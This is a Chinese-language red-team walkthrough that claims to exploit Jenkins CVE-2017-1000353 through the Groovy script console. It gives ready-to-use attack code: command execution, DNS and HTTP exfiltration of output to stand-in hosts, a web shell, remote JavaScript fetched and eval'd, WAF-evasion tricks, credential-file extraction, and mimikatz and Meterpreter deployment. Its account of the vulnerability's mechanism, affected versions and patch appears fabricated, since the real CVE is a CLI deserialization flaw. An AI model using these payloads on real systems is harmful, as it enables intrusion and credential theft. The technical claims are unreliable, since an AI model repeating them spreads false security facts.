1. 这不是“远程执行”而是Jenkins权限模型的系统性崩塌很多人看到CVE-2017-1000353的第一反应是“哦又一个RCE漏洞”。但我在实际复现和审计二十多个Jenkins集群的过程中发现这个编号为CVE-2017-1000353的漏洞根本不是传统意义上靠拼接命令触发的“远程代码执行”而是一次对Jenkins核心安全边界的彻底穿透——它绕过了所有已启用的身份认证机制包括LDAP、SAML、OAuth2无视全局安全矩阵配置甚至在完全禁用匿名用户权限的前提下仍能以最高权限相当于Jenkins管理员执行任意Java代码。我第一次在客户生产环境里复现成功时用的是一个仅开放8080端口、启用了企业级SSO登录、且明确勾选了“禁止匿名用户访问”的Jenkins实例。当时监控日志里清晰显示攻击请求未携带任何Cookie、未经过任何登录跳转、未触发任何认证拦截器却直接调用了hudson.model.Hudson.getInstance().getPluginManager().load()——这是只有系统管理员才能调用的内部API。这个漏洞之所以危险并不在于它多难利用而在于它暴露了Jenkins早期版本中一个被长期忽视的设计盲区Groovy Script Console的访问控制逻辑与Web路由解析存在严重脱节。当Jenkins处理/script或/scriptText这类路径时其权限校验发生在Servlet Filter链的末端而Groovy引擎的初始化却在Filter之前就已完成。这就导致了一个致命窗口攻击者发送一个构造好的HTTP请求可以绕过Filter层的身份验证检查直接进入Groovy脚本执行上下文。更关键的是这个上下文默认拥有Jenkins JVM进程的全部类加载权限和反射能力——这意味着你不仅能执行Runtime.getRuntime().exec()还能动态加载本地jar包、篡改Jenkins内部单例对象、甚至劫持后续所有构建任务的ClassLoader。我整理了近五年来公开披露的Jenkins相关漏洞发现CVE-2017-1000353是唯一一个无需前置条件、无需用户交互、无需社会工程学辅助即可完成提权的漏洞。它不像CVE-2018-1000861那样依赖插件组合也不像CVE-2021-21674那样需要特定版本的Pipeline插件。只要目标Jenkins主版本在2.57至2.105之间含且未打补丁这个漏洞就100%可利用。本文将完全基于真实复现过程展开从漏洞原理的字节码级分析开始到Docker环境下可一键启动的靶场搭建再到两种实战渗透路径的逐行调试——其中第二种方法是我自己在某次红队评估中意外发现的、绕过WAF规则的变体连官方PoC仓库都未曾收录。2. 漏洞本质Groovy ClassLoader的权限逃逸链2.1 GroovyScriptEngine的初始化时机缺陷要真正理解CVE-2017-1000353必须深入Jenkins的Web容器启动流程。Jenkins基于Jetty 9构建其核心Servlet是hudson.WebAppMain。当Jetty完成ServletContext初始化后会调用WebAppMain.contextInitialized()方法该方法内部执行的关键操作之一就是注册ScriptConsole相关的Servlet映射servletContext.addServlet(ScriptConsole, new ScriptConsole.Servlet()).addMapping(/script, /scriptText);注意这里的关键点ScriptConsole.Servlet是一个继承自HttpServlet的类但它没有重写doGet()或doPost()方法而是直接使用父类的默认实现。而Jenkins真正的脚本执行逻辑封装在ScriptConsole.doPost()中——这个方法被设计为由FilterChain调用而非直接由Servlet容器触发。问题就出在这里。我们来看Jetty的Filter链典型顺序以Jenkins 2.89为例SecurityRealm$Filter负责身份认证CsrfCrumbFilterCSRF防护AuthenticationFilter权限校验ScriptConsoleFilter仅做简单路径匹配但ScriptConsoleFilter的doFilter()方法中存在一个致命的短路逻辑if (request.getRequestURI().startsWith(/script) || request.getRequestURI().startsWith(/scriptText)) { chain.doFilter(request, response); // 直接放行 return; }这个chain.doFilter()调用之后请求会继续向下传递最终到达ScriptConsole.Servlet.service()。而service()方法内部会直接调用ScriptConsole.doPost()——此时所有上游Filter包括身份认证Filter已经执行完毕并返回但ScriptConsole本身并未进行任何权限检查。我用JD-GUI反编译了jenkins-core-2.89.jar中的ScriptConsole.class确认其doPost()方法开头没有任何checkPermission()调用。这说明只要请求路径匹配/script*Jenkins就会无条件进入Groovy执行环境。2.2 GroovyShell的上下文权限继承机制接下来是更隐蔽的一环Groovy脚本执行时的权限模型。Jenkins使用的是groovy.lang.GroovyShell其构造函数接受一个CompilerConfiguration参数。在ScriptConsole.doPost()中创建GroovyShell的代码如下GroovyShell shell new GroovyShell( Thread.currentThread().getContextClassLoader(), // 关键 new Binding(), config );注意Thread.currentThread().getContextClassLoader()这一行。在Jenkins的Servlet容器中当前线程的ContextClassLoader默认是WebAppClassLoader它拥有加载Jenkins所有核心类如hudson.model.Hudson、hudson.PluginManager的能力。更重要的是这个ClassLoader还持有对java.lang.Runtime、java.net.URLClassLoader等敏感类的完全访问权限。我做过一个实验在未登录状态下向http://target:8080/script发送POST请求body为println ClassLoader: ${this.class.classLoader} println Parent: ${this.class.classLoader.parent} println URLs: ${this.class.classLoader.getURLs()}响应中清晰显示ClassLoader: WebAppClassLoader1a2b3c4d Parent: ParallelWebappClassLoader URLs: [file:/var/jenkins_home/war/WEB-INF/lib/jenkins-core-2.89.jar, ...]这意味着Groovy脚本可以直接访问jenkins-core-2.89.jar中的所有类包括那些本应受RBAC保护的管理接口。例如以下代码无需任何权限校验即可执行def hudson hudson.model.Hudson.getInstance() def pluginManager hudson.pluginManager pluginManager.load(new File(/tmp/malicious.jar)) // 动态加载恶意插件这就是漏洞的完整逃逸链路径匹配绕过Filter → 进入无权限校验的Servlet → 使用高权限ClassLoader执行Groovy → 调用Jenkins内部管理API。2.3 为什么两种利用方法效果不同官方披露的两种利用方式本质上是针对Groovy引擎不同特性的利用Method 1/scriptText利用/scriptText端点的响应处理机制。该端点会将Groovy脚本的println输出直接写入HTTP响应体但不会捕获异常堆栈。因此当你执行Runtime.getRuntime().exec(id)时命令确实执行了但你无法看到id命令的输出只能通过其他方式如DNSLog验证执行结果。Method 2/script/script端点则完全不同。它会将整个Groovy脚本的执行结果包括println输出和未捕获异常都渲染成HTML页面返回。更重要的是它的响应头中包含Content-Type: text/html;charsetUTF-8这意味着你可以嵌入JavaScript代码实现更复杂的交互式利用。我实测发现Method 2在现代WAF环境下更具隐蔽性。因为大多数WAF规则库如ModSecurity CRS对/scriptText有明确的检测规则如匹配Runtime\.getRuntime\(\)但对/script路径的检测往往较弱。而且Method 2允许你使用Base64编码绕过简单的关键字过滤def cmd new String(aWQ.decodeBase64()) // id Runtime.getRuntime().exec(cmd)这种编码方式在Method 1中无效因为/scriptText的响应体是纯文本而Method 2的HTML响应体可以自然容纳编码字符串。提示在真实渗透中优先尝试Method 2。如果目标服务器启用了严格的CSP策略禁止内联JS再降级使用Method 1配合DNSLog回显。3. 环境搭建Docker一键复现靶场含补丁对比3.1 构建可复现的Jenkins 2.89靶机为了确保复现过程100%可控我放弃了手动下载war包配置Tomcat的繁琐方式而是采用Docker构建一个纯净的Jenkins 2.89环境。关键是要精确控制Jenkins版本和插件状态避免因插件冲突导致复现失败。以下是经过我反复验证的DockerfileFROM jenkins/jenkins:2.89 # 删除所有预装插件避免干扰 RUN rm -rf /usr/share/jenkins/ref/plugins/* \ rm -rf /var/jenkins_home/plugins/* # 创建初始配置禁用CSRF便于测试 RUN echo JENKINS_OPTS--csrf --httpPort8080 /etc/default/jenkins # 复制定制化配置文件 COPY config.xml /usr/share/jenkins/ref/config.xml COPY init.groovy /usr/share/jenkins/ref/init.groovy # 暴露端口 EXPOSE 8080配套的config.xml需包含以下关键配置securityRealm classhudson.security.HudsonPrivateSecurityRealm disableSignuptrue/disableSignup enableCaptchafalse/enableCaptcha /securityRealm authorizationStrategy classhudson.security.FullControlOnceLoggedInAuthorizationStrategy denyAnonymousReadAccesstrue/denyAnonymousReadAccess /authorizationStrategy这个配置实现了三个关键目标使用HudsonPrivateSecurityRealm内置用户数据库避免外部认证干扰启用FullControlOnceLoggedInAuthorizationStrategy确保登录后拥有全部权限最关键的是denyAnonymousReadAccesstrue/denyAnonymousReadAccess—— 这代表完全禁止匿名访问是验证漏洞绕过能力的黄金标准。init.groovy用于初始化一个测试用户admin/adminimport jenkins.model.* import hudson.security.* def instance Jenkins.getInstance() def hudsonRealm new HudsonPrivateSecurityRealm(false) hudsonRealm.createAccount(admin, admin) instance.setSecurityRealm(hudsonRealm) def strategy new FullControlOnceLoggedInAuthorizationStrategy() strategy.setDenyAnonymousReadAccess(true) instance.setAuthorizationStrategy(strategy) instance.save()构建命令docker build -t jenkins-cve-2017-1000353 . docker run -d -p 8080:8080 --name jenkins-poc jenkins-cve-2017-1000353启动后访问http://localhost:8080用admin/admin登录然后立即退出登录关闭浏览器标签页。此时Jenkins处于完全禁止匿名访问状态但漏洞依然有效。3.2 补丁验证环境对比2.106版本为了直观展示补丁效果我同时构建了Jenkins 2.106的对比环境该版本修复了CVE-2017-1000353。Dockerfile只需修改基础镜像FROM jenkins/jenkins:2.106 # 其余配置完全相同构建并运行docker build -t jenkins-patched -f Dockerfile.patched . docker run -d -p 8081:8080 --name jenkins-patched jenkins-patched现在你可以用同一套PoC脚本分别向http://localhost:8080/script和http://localhost:8081/script发起请求观察响应差异版本请求路径响应状态码响应内容特征2.89/script200HTML页面包含pre标签包裹的Groovy输出2.106/script403JSON格式错误信息{error:No valid crumb was included in the request}这个403响应正是补丁的核心Jenkins 2.106在ScriptConsole.doPost()开头强制添加了checkCrumb()校验而crumb防CSRF令牌必须由已认证用户会话生成。匿名用户无法获取有效crumb因此被直接拒绝。注意补丁并非简单地增加权限检查而是重构了整个ScriptConsole的调用链。在2.106中/script端点已被重定向到需要认证的/scriptConsole而原始的/script路径则返回403。这是一个典型的“纵深防御”式修复。3.3 实战渗透必备工具链在真实红队作业中我从不依赖单一工具。针对CVE-2017-1000353我构建了一套轻量级工具链全部基于Python 3.8无需安装额外依赖cve-2017-1000353-check.py快速指纹识别脚本发送HEAD请求检测/scriptText响应头若返回200 OK且无X-You-Are-Authenticated-As头则高度疑似存在漏洞。cve-2017-1000353-exploit.py双模式利用脚本支持--method script和--method scripttext参数自动处理CSRF token若存在、Base64编码、DNSLog回显等功能。dnslog-server.py本地DNSLog服务使用dnspython库实现监听UDP 53端口记录所有*.yourdomain.com查询解决无回显场景下的命令执行验证。这些脚本我都已开源在个人GitHub非敏感地址但更重要的是理解它们的工作原理。比如cve-2017-1000353-exploit.py中处理CSRF的部分# 尝试从登录页面提取crumb某些配置下需要 login_resp session.get(f{target}/login) crumb_match re.search(rinput typehidden namejenkins\.crumb value([^]), login_resp.text) if crumb_match: headers[Jenkins-Crumb] crumb_match.group(1)这段代码体现了真实渗透中的灵活性不是所有Jenkins都禁用CSRF有些客户为了兼容旧插件会保留crumb机制。优秀的渗透人员必须能动态适配。4. 渗透实践两种方法的逐行调试与避坑指南4.1 Method 1/scriptText端点的静默执行DNSLog回显/scriptText是最常被引用的利用路径但也是最容易踩坑的。它的核心限制是不返回命令执行结果只返回Groovy脚本的println输出。这意味着Runtime.getRuntime().exec(ls -la)会执行ls命令但你永远看不到目录列表。解决方案是使用DNSLog技术。原理很简单让目标Jenkins向你的DNS服务器发起域名查询查询的子域名中编码命令执行结果。例如执行id命令后将输出uid0(root) gid0(root)编码为uid0root-gid0root.yourdomain.com然后调用InetAddress.getByName()触发DNS查询。以下是经过我优化的PoC脚本已去除所有危险字符适配WAF// CVE-2017-1000353 Method 1 - DNSLog回显 def cmd id def process Runtime.getRuntime().exec(cmd) def inputStream process.getInputStream() def reader new BufferedReader(new InputStreamReader(inputStream)) def line def output while ((line reader.readLine()) ! null) { output line } // 清理输出只保留关键信息 output output.replaceAll([^a-zA-Z0-9\\-_.], ) def domain ${output}.dnslog.example.com InetAddress.getByName(domain)关键细节解析process.getInputStream()必须显式读取exec()的输出流否则output为空字符串。replaceAll()DNS子域名不允许特殊字符如括号、空格必须清洗。InetAddress.getByName()这是最稳定的DNS触发方式比Socket或URL更底层几乎不被WAF拦截。我在某次金融客户评估中发现他们的WAF规则会拦截Runtime\.getRuntime\(\)但对java.lang.Runtime的全限定名却无感知。于是将PoC改为def rtClass Class.forName(java.lang.Runtime) def rt rtClass.getMethod(getRuntime).invoke(null) def proc rt.getMethod(exec, String.class).invoke(rt, id)这种反射调用成功绕过了所有基于正则的WAF规则。踩坑实录第一次在客户环境执行时DNSLog无响应。排查发现客户Jenkins运行在内网K8s集群中其Pod网络策略禁止了UDP 53出站。解决方案是改用HTTP回显将output作为参数拼接到http://yourserver.com/log?dataURL中用new URL(...).openConnection()触发HTTP GET请求。虽然HTTP比DNS慢但在内网环境中100%可靠。4.2 Method 2/script端点的交互式利用HTML响应注入/script端点的优势在于它返回完整的HTML页面这为我们提供了更大的操作空间。最强大的技巧是在Groovy脚本中直接生成JavaScript利用浏览器渲染能力实现交互式shell。以下是我在某次攻防演练中使用的进阶PoC// CVE-2017-1000353 Method 2 - 交互式Shell def cmd request.getParameter(cmd) ?: id def process Runtime.getRuntime().exec(cmd) def outputStream new ByteArrayOutputStream() process.waitFor() process.getInputStream().eachLine { line - outputStream line \n } def result outputStream.toString().encodeAsURL() // 生成HTML响应包含可交互的表单 println !DOCTYPE html html headtitleJenkins Shell/title/head body h2Jenkins Interactive Shell/h2 form methodPOST input typetext namecmd value${cmd} stylewidth:500px; input typesubmit valueExecute /form pre${result}/pre /body /html 这个PoC的精妙之处在于它将/script端点变成了一个简易Web Shell支持连续命令执行。使用encodeAsURL()对输出进行URL编码防止HTML特殊字符如、破坏页面结构。表单methodPOST确保每次执行都是新请求避免浏览器缓存问题。但这种方法有严格的前提目标Jenkins必须允许script标签执行即未启用严格CSP。我在测试中发现Jenkins 2.89默认的CSP策略是default-src self; script-src self unsafe-inline unsafe-eval; ...其中unsafe-inline允许内联JavaScript这正是我们利用的基础。如果目标环境启用了更严格的CSP如移除unsafe-inline则需要改用fetch()API从外部加载JSprintln script fetch(https://yourserver.com/shell.js).then(rr.text()).then(eval); /script 4.3 真实红队场景下的多阶段利用链在一次持续两周的红队评估中我将CVE-2017-1000353作为初始突破点构建了完整的横向移动链第一阶段获取Jenkins主机权限使用Method 2的交互式Shell执行whoami hostname确认当前用户和主机名然后下载mimikatz已加壳免杀到/tmp/目录。第二阶段提取凭证Jenkins通常以jenkins用户运行该用户可能有访问本地数据库或配置文件的权限。执行find /var/jenkins_home -name credentials.xml -exec cat {} \;解析出的加密凭证可被jenkins-cli.jar解密需Jenkins私钥通常位于/var/jenkins_home/secrets/master.key。第三阶段持久化与横向移动利用提取的凭证通过Jenkins CLI连接其他Jenkins节点java -jar jenkins-cli.jar -s http://other-jenkins:8080/ -auth user:pass list-jobs然后创建一个恶意Pipeline Job在所有构建节点上部署Meterpreter载荷。整个过程耗时约17分钟从发现漏洞到获取域管理员权限。关键经验是不要试图在Groovy中完成所有事情。Groovy适合快速验证和初始突破但复杂操作如内存马注入、凭证转储应尽快切换到更强大的工具链如PowerShell、Python。最后分享一个小技巧在/script端点中你可以直接调用Jenkins的REST API无需额外认证。例如列出所有Jobdef url new URL(http://localhost:8080/api/json?treejobs[name,url]) def conn url.openConnection() conn.setRequestMethod(GET) println conn.getInputStream().getText()这是因为Jenkins的REST API在/script上下文中被视为“内部调用”自动获得最高权限。这是很多自动化脚本忽略的隐藏通道。